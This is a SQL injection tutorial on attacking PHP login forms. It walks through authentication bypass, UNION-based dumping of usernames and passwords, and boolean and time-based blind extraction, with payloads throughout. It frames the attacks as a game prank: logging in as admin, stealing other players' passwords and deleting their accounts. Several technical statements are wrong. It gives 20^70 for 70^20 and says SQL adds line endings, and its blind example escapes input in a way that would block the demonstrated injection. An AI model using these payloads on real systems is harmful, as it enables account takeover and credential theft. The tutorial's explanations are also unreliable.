SQL Injection Tutorial

Ethan Cheng

How SQL works

SQL injection is a web penetration technique to bypass login forms in web pages that use PHP or ASP to process your credentials. The PHP or ASP script uses something called a **query**. A query is basically a question that the script asks the database: “Hey database! Do you have an entry with these credentials?” Then the database will return **ALL** rows that satisfy the conditions specified and put those entries in the query, so in essence, the query is a miniature database that is a subset of the large database. A database looks like an Excel spreadsheet, and is formatted like such:

```
id | username | password | level
--------------------------------
 1 | foo      | bar      | 9000
 2 | bar      | foo      | 17
 3 | apple    | orange   | 10
```

As a query for the above database, the PHP will most likely (most likely because in the real world, some back-end developers like to do weird things to confuse hackers), have the following:

```
$username = $_POST[“username”];
$password = $_POST[“password”];
$query = “SELECT * FROM users WHERE username='$username' AND password='$password'”;
```

Let's decipher this:
$value creates a variable with the name 'value' so it is easy to see that the page has 2 variables called 'username' and 'password' from the first 2 lines. The $_POST command means that the data that the user has inputted in the form has been sent directly to process, and is not shown in the URL when you submit your login credentials. However, if instead of $_POST, the programmer had used $_GET, if a user had logged in with username: 'foo' and password: 'bar' and hit the login button, the URL of the site would become:

```
http://www.examplesite.com/login.php?username=foo&password=bar
```

*The site name (examplesite.com) and the script name (login.php) are subject to change.
In the case that they use $_POST, the URL would remain:

```
http://www.examplesite.com/login.php
```

Note that in this case, the parameters used in the query are not shown in the URL.

Back to deciphering:
The third line is the most interesting. In plain English it says:
“Hey database! Select all the rows from a table called 'users' such that the username is what the person entered in the 'username' field and the password is what the person entered in the 'password' field. Take all those rows, and store then in a variable called 'query.'”
The username is a column in the database, same with the password. For example, if I entered 'bar' for my username and 'foo' for my password, it would perform the following search:

1. Look for a table called 'users'
2. Look for a column called 'username'
3. Look for an item in the 'username' column that matches 'bar'
4. Look for a column in the table called 'password'
5. Look for an item in the 'password' column that matches 'foo'
6. Put the row with username 'bar' and password 'foo' into the 'query' variable if Step 3 and Step 5 are both in the same row.

**If there are multiple rows returned from Step 3 and multiple rows returned from Step 5, Step 6 will find all the rows that both sets (step 3 and 5) have in common.

So from this example, the query would become the second row of our database:

```
$query = id | username | password | level
          2 | bar      | foo      | 17
```

Our First Injection

Our first injection is the basis of how most, if not all, SQL injections are formatted. Because PHP and SQL work in a way such that the search of the database is fast, when you put in 'foo' for your username and 'bar' for your password, the first step that PHP does is this:
Turn:

```
$query = “SELECT * FROM users WHERE username='$username' AND password='$password'”;
```

Into:

```
$query = “SELECT * FROM users WHERE username='foo' AND password='bar'”;
```

As you can see, PHP will replace the $username and $password fields with what you entered. Thus, we can enter special things (our injections!) . Consider the following:

```
$username = “' OR 1=1 -- ”
$query = “SELECT * FROM users WHERE username='$username' AND password='$password'”;
```

The query then becomes:

```
$query = “SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password='$password'”;
```

This becomes our injection. For the username field we enter the following: ' OR 1=1 --
Let's break it down character by character. The first character, the single quote, or as we will call it from now on, the **tick**. This tick is very important. This closes off the first single quote from username=' and sets username to '', which is an empty string. Then the OR 1=1 is where the magic happens. 1=1 will always evaluate to true, so for simplicity's sake, let's denote it as OR true. The query then becomes: username='' OR true. In terms of booleans, this is a simple OR statement, and no matter what username is, this statement as a whole ALWAYS EVALUATES TO TRUE. Thus we have the query: `$query = “SELECT * FROM users WHERE true' AND password='$password'”;`
This is why we need the double hyphens. The double hyphens denote the start of a single line comment in SQL. By adding it to the end of our injection, the query becomes the following:

```
$query = “SELECT * FROM users WHERE true --' AND password='$password'”;
```

Note that there is still a tick after the -- because it is still there from the original declaration of username='$username'. However, SQL uses whitespace to separate symbols, so it reads --' as one symbol and does not recognize it. Thus we need to add a space after our double hyphens, turning out query into:

```
$query = “SELECT * FROM users WHERE true -- ' AND password='$password'”;
```

Which turns into:

```
$query = “SELECT * FROM users WHERE true
```

from the ignoring of the comment.
SQL will then automatically put in line endings to fix syntax so our final query looks like this:

```
$query = “SELECT * FROM users WHERE true”;
```

When given to the database, the database says: “Well, if there is a row, well it exists, so return true every time!” Hence our query becomes the entire database, giving a 'valid' query for a logon. Here is the full process of our injection:

Database:

```
id | username | password | level
--------------------------------
 1 | foo      | bar      | 9000
 2 | bar      | foo      | 17
 3 | apple    | orange   | 10
```

Source code:

```
$username = $_POST[“username”];
$password = $_POST[“password”];
$query = “SELECT * FROM users WHERE username='$username' AND password='$password'”;
```

Injection:

Inject:
(in username input box in website): `' OR 1=1 -- `

Code then processes:

```
$query = “SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password='$password'”;
$query = “SELECT * FROM users WHERE true -- ' AND password='$password'”;
$query = “SELECT * FROM users WHERE true
$query = “SELECT * FROM users WHERE true”;
$query = <all rows in database>
$query = id | username | password | level
        --------------------------------
         1 | foo      | bar      | 9000
         2 | bar      | foo      | 17
         3 | apple    | orange   | 10
```

And then it logs on? Actually, no it doesn't. With this query, you are going to sign in... 3 different users? No that doesn't work on most websites. Most websites will have some variation of the following:

```
$con = mysqli_connect("localhost", "database", "database", "database");
$result = mysqli_query($con,$query);
if (mysqli_num_rows($result) === 1) {
.......
```

This is a simple checker to find out if the number of rows your query contained is equal to 1, which makes sense. You don't want the user to log on as nobody, or multiple people. You want them to log in as exactly ONE person.

However, this interferes with our injection. Luckily, SQL has a special keyword to fix this issue: **LIMIT**. Limiting is an important technique that we use to get our injection to bypass this row number checker. It is implemented in the following way:

```
' OR 1=1 LIMIT 1 --
```

As you can see, we simply add 'LIMIT 1' between our 1=1 and the double hyphens. In this case, the processing of the injection works like the following:

```
$query = “SELECT * FROM users WHERE username='' OR 1=1 LIMIT 1 -- ' AND
password='$password'”;
$query = “SELECT * FROM users WHERE true LIMIT 1 -- ' AND password='$password'”;
$query = “SELECT * FROM users WHERE true LIMIT 1
$query = “SELECT * FROM users WHERE true LIMIT 1”;
$query = <first row in database>
$query = id | username | password | level
         --------------------------------
          1 | foo      | bar      | 9000
```

And now we can login as the first use: foo.

This is extremely useful because in most databases, the server administrator is usually the first row of the database, allowing us to log on as the administrator, giving us full control.

Power of the UNION

The second technique that we use in SQL injection is a UNION injection. The first technique is called Error-Based Injection, which we will go over later. A UNION injection is done by first, forcing the username search to fail, returning 0 rows, second, performing a custom SELECT search and combining that with the username search, and third, extracting information about the database.

To force the username search to fail, quite simply, put a tick at the beginning of your injection. Next, you must perform a custom SELECT search.

```
' ORDER BY 1 --
```

The above injection will check for enter in a column search, searching for any rows with a single column. Judging from this, we will get an error. This is where we use **error based injection**. Note that this technique will not work if the web page is not configured by the programmer to show a debug message or an error message. In the case that you see something like 'MySQL syntax error, invalid character near...,” then cheer, because you have the luxury of using error based injection. Basically, since a debugger displays an error message, using the above injection will give you one of 2 things: Login Failed, or “MySQL error: Invalid character.” or another error message. Now what we can do, is increment the parameter for ORDER BY to find out the number of columns.

```
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --
... etc.
```

When you do get an error message, you will have found the number of columns in the database. For example, using the database and source code from before (See pages 3,4), I put in this query:

```
' ORDER BY 1 --
```

With the above query and an active debugger, this returned no error message.

```
' ORDER BY 2 --
```

With the above query and an active debugger, this returned no error message.

```
' ORDER BY 3 --
```

With the above query and an active debugger, this returned no error message.

```
' ORDER BY 4 --
```

With the above query and an active debugger, this returned no error message.

```
' ORDER BY 5 --
```

With the above query and an active debugger, this returned the following error message:
SQL error: Unknown column '5' in 'order clause'

Therefore, because of this error message, column 4 is the last column available in the database, and thus there are 4 rows.

In order to proceed with a union query. To do the UNION query, we must know the number of columns. Let's say we used the site above, and our ORDER BY injections did us the job and found out there were 4 columns. Then we proceed by injecting the following as our username:

```
' UNION SELECT 1,2,3,4 LIMIT 1 --
```

Again, let's break down this query step by step:

The injection is put into the query:

```
$query = "SELECT * FROM users WHERE username='' UNION SELECT 1,2,3,4 LIMIT 1 -- ' AND
password='$password'";
```

Then the comment removes the need for a password:

```
$query = "SELECT * FROM users WHERE username='' UNION SELECT 1,2,3,4 LIMIT 1";
```

Then the SELECT statements then find which rows match their credentials (null means no rows satisfy the given credentials):

```
$query = "null UNION id=1, username=2, password=3, level=4";
```

Then the two queries join the rows that they each contain because of the UNION keyword (In concept, think of them as two sets being combined).

```
$query = "id=1, username=2, password=3, level=4";
```

Now the query gives us a fake row that we have generated with our UNION query injection.

Now using the concepts you have now learned, consider the following problem:

Database:

```
id | username |       password      | level | score | maxHealth
----------------------------------------------------------------
 1 | admin    | super_epic_password | 100   | 99999 | 999999999
 2 | beta     | super_beta_key      | 18    | 7125  | 1390
 3 | kama     | scythes             | 13    | 5410  | 800
 4 | delta    | rivers_have_me      | 27    | 8000  | 1680
 5 | im_a_nub | how_to_play_dude    | 1     | -300  | 80
```

Source:

```
$username = $_POST[“username”];
$password = $_POST[“password”];
$query = “SELECT * FROM users WHERE username='$username' AND password='$password'”;
$con = mysqli_connect("localhost", "database", "database", "database");
$result = mysqli_query($con,$query);
if (intval($debug)) {
      if (mysqli_errno($con) !== 0) {
            echo "SQL error: ", htmlspecialchars(mysqli_error($con)), "\n";
      }
}
if (mysqli_num_rows($result) === 1) {
      $row = mysqli_fetch_array($result);
      game_startgame($row);
}
else {
      echo “Login failed.”;
}
```

Quite obviously, this is a website that hosts an online game. Let's say we, in reality, we are the player called im_a_nub, and we completely suck at the game, and we managed to somehow get a negative score, but we lied to our friends and told them we were level 100 and had a score of 99999. Now, our friend, whose username is 'delta' is very skeptical because he has utterly destroyed you every time you played against him. Now, you aren't good at gaming, but you know how to SQL inject. Prove to him you have what you say you have.

So the first step is to find the number of columns:

```
' ORDER BY 1 --                         Nothing happens, login failed
' ORDER BY 2 --                         Nothing happens, login failed
' ORDER BY 3 --                         Nothing happens, login failed
' ORDER BY 4 --                         Nothing happens, login failed
' ORDER BY 5 --                         Nothing happens, login failed
' ORDER BY 6 --                         Nothing happens, login failed
' ORDER BY 7 --                         SQL Error: Unknown column '7' in 'order clause'
```

Well, now we know the database has 6 columns.
Now we try our union query:

```
' UNION SELECT 1,2,3,4,5,6 LIMIT 1 --
```

And... Login fails. Which makes sense to you! Why? Well, one of those 6 columns is the password, and we passed this in as our fake user. But in our password field, we haven't entered anything, so our password is an empty string! To fix this, we keep trying the things we entered as our password. Trying 1, 2, 4, 5, or 6 all fail, and evidently once you get past 2 and use 3, you will get a login success.

And now we see something interesting. In the actual game, it says our username is 2, our level is 4, our score is 5, and our maxHealth is 6. Now we know our columns. The username is column 2, the password is column 3, the level is column 4, the score is column 5, and maxHealth is column 6.

Now, we can inject an actual fake row:

```
' UNION SELECT “”,”im_a_pro”,””,100,99999,9999 LIMIT 1 --
```

Note that since we don't know what columns 1 and 3 are, we put “” to denote an empty string as a substitute. Our query then says the following:

“Hey database, I'm going to put “im_a_pro” as column 2, becoming the username, “” as my password in column 3 so I don't need one, 100 as column 4, becoming our level, 99999 as column 5, becoming our score, and 9999 as column 6,”

which becomes our fake user. You show your friend, delta, and he's absolutely amazed and bows down to you.

However, maybe you want to do something more. Maybe you want to extract information and log in as admin, and delete your friends accounts, because since you have just hacked the game, you feel invincible. This is where the technique of data extraction comes into play.

Since you now know what most of the columns are and what is displayed where in the interface or browser, we now have the ability to abuse **information_schema.tables**, a built-in constant SQL has. This basically allows us view the information the database holds. The first step is to inject the following:

```
' UNION SELECT “”,table_name AS username,””,table_name AS level,table_name AS
score,table_name AS maxHealth FROM information_schema.tables LIMIT 1 OFFSET 0 --
```

Another built in value in SQL is table_name, which is the name of a table within a database. On most databases, we end up getting the same result for the current value of offset: CHARACTER_SETS becomes our username, level, score, and maxHealth. Now we begin incrementing OFFSET, but we increment by 10. This is because by default, SQL has over 20 different tables preset into the database, some of which may be removed. LIMIT 1 gives us the first row that satisfies our credentials. OFFSET x will shift the database so we skip the first x rows in the database. We keep incrementing by 10 until we get a Login Failed response or a SQL error. Let's say for this database, we increment our OFFSET by 10, until OFFSET 50 gives us a login failed. Now we do a bit of guesswork:

```
40          Works
50          Failed, between 39 and 50 (Note that 40 is included in our set)
45          Failed, between 39 and 45
43          Failed, between 39 and 43
42          Failed, between 39 and 42
41          Failed, between 39 and 41
(Do not check 40 again, we already have.)
```

Thus the length of information_schema.tables is 40 rows.

Using this last offset:

```
' UNION SELECT “”,table_name AS username,””,table_name AS level,table_name AS
score,table_name AS maxHealth FROM information_schema.tables LIMIT 1 OFFSET 40 --
```

It returns that the table_name is 'players.' Now we can modify our injection to use this table:

```
' UNION SELECT “”,username AS username,””,password AS level,””,”” FROM players LIMIT 1
OFFSET 0 --
```

What this injection will do, is it goes into the table called 'players' and take the first row after an offset, or skip, or 0 rows, give the username of that row as our username, and the password of that row as our level. (There is a slight problem with this, being that level is probably an integer and password is a string, but for the sake of this example, let's assume that the level is parsed into a string). Using this as our this will log us into the game and show 'admin' in the username field, and 'super_epic_password' as our level. Incrementing the values of offset (red) through we get the following usernames (blue) and passwords (green):

0	admin	super_epic_password
1	beta	super_beta_key
2	kama	scythes
3	delta	rivers_have_me
4	im_a_nub	how_to_play_dude
5	Return a login failed because there is no user in this row, or any row after	

This basically allows us to log in as any one of these users and mess around with their accounts, and in the case of admin, assert total domination over the game. You can even change their passwords through this. Data extraction is an extremely powerful technique in SQL injection.

Hail Mary! Fire BLINDly!

Sometimes, you won't be able to see any error messages or any debugger messages. In this case, you must use the final, failsafe, but slowest method of SQL injection: **Blind SQL Injection**. In this case you are in very risky territory. In this territory, you will be injecting something without every knowing if your query was valid or not syntactically, and a syntax error and a login fail have the same exact message. In this case, you must either a) check if the website uses a boolean response, or b) use a time based injection.

In a boolean response website, there must be exactly 2 possible responses the website. Let's take a look at this sample website:

```
Database:
Table: users

id | username |       email       |         password          | elevation | country
---------------------------------------------------------------------------------------
 1 | admin    | admin@console.ie  | a_more_epic_password      | 2         | US
 2 | betty    | betty123@foo.bar  | flowers_are_cool          | 1         | US
 3 | carmine  | lucky@zuckers.foo | bagel_sandwich            | 1         | US
 4 | dephos   | dexphos@yogscast.u| honeydew                  | 1         | UK
 5 | choi     | fong@360.cn       | chairman                  | 1         | CN
```

Source:

```
$con = mysqli_connect(“localhost” , “db” , “db” , “db”);
$username = mysqli_real_escape_string($con , $_POST[“username”]);
$password = mysqli_real_escape_string($con , $_POST[“password”]);
$query = “SELECT * FROM users WHERE username='$username'”;
$con = mysqli_connect("localhost", "database", "database", "database");
$result = mysqli_query($con,$query);

if (mysqli_num_rows($result) === 1) {
      echo “User found”; -- Note that this doesn't log you in it only displays text
      $row = mysqli_fetch_array($result)
      if ($row(password) === $password){
            app_logon_success($row);
      }
}
else {
      echo “Login failed.”;
}
```

Approach:

This is a login for a database. The first thing we try is just our basic login test:
username = admin
password = password
This yields a response of “User Found” which is a very interesting message. This is telling us that there exists a user with the username of admin, but does not have the password: “password.” However if we enter in “asdfhjalskdjfa” as our username, it says Login Failed. Now we can build our boolean response. We know that usually exists someone called admin on the server which manages the server and has full rights on it, but we must be sure. The “User Found” message could simply be a mischievous message to mislead hackers. So then we test it out: we make our own account, and test again. We made the username iluvpiesomuch. However, putting in iluvpiesomuch as the username yields a “User Found” response, but “Login failed” when I enter “iluvpienever.” So now we have a boolean response: if something is true, the site gives us a page with “User Found” and if not, it gives us “Login failed.”

New commands/keywords:
CHAR_LENGTH(item) returns the length of the item
LIKE compares 2 items: a LIKE b returns true if a and b are similar, usually with wildcards
“%” denotes a wildcard string, which can take the place of ANY string.

Injections:

Find the length of the password. Always start with the following.

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>0 --
```

If the above returns a positive response, increment the value by 10

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>10 --
```

The above returned a positive response, increment by 10

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>20 --
```

The above returned a negative response so DECREMENT by 5

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>15 --
```

The above returned positive so we increment by 2:

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>17 --
```

The above returned positive, so now we know the length is between 18 and 20 inclusive. This range is small enough to increment by 1:

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>18 --
```

Above returns positive response, increment by 1, can only be 19 or 20.

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)>19 --
```

Above returned positive response, so we have narrowed it to 20 characters in length. Use the next injection to confirm this.

```
' UNION SELECT * FROM users WHERE username=”admin” AND CHAR_LENGTH(password)==20 --
```

Above returned a positive response, as expected. We now know we have to guess a 20 character long password.

Questioning technique:
We will increment along the set of characters in the following order:

1) Lowercase letters:	abcdefghijklmnopqrstuvwxyz
2) Uppercase letters:	ABCDEFGHIJKLMNOPQRSTUVWXYZ
3) Numbers:	0123456789
4) Symbols:	_~`!@#? (These are the only valid symbols)
5) The space:	

As you can see there are 26 + 26 + 10 + 7 + 1 = 70 characters to iterate through. If there are 20 characters, there are 20^70 possible combinations to work through:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “a%” --
```

Positive response, move on to next character in the string

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “aa%” --
```

Negative response, iterate to next character in our order from above:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “ab%” --
```

Negative response, iterate to next character in our order from above:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “ac%” --
```

Negative response, iterate to next character in our order from above:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “ad%” --
```

For the sake of time and space in this tutorial, the process will be fast forwarded:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “a_%” --
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “a_more_epic_pa%” --
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE
“a_more_epic_password” --
```

Positive response, password retrieved. Now we simply log in with the credentials:
username=admin and password=a_more_epic_password.

Blindly falling asleep

If this fails and there is no such boolean response, you can only default to a time based injection. Let's use the same database. The format of our injection is based on this:

```
' UNION SELECT * FROM users WHERE username=”admin” AND password LIKE “a%” AND sleep(5)
LIMIT 1 --
```

As you see the only difference is how we end the query: the '**AND sleep(5)**'
As you can guess, if our query evaluates to true (so our password starts with “a”), then the website will wait 5 seconds before sending any data back to you. If the password doesn't start with “a” then the website will return data immediately. Therefore, this injection method requires good, stable, reliable internet connection. Without a good connection, you will have to increment your amount of sleep time, such as using sleep(10) or even sleep(15) so that you can see a noticeable difference to determine a positive or negative response. Then continue with your boolean response method like above, but using sleep.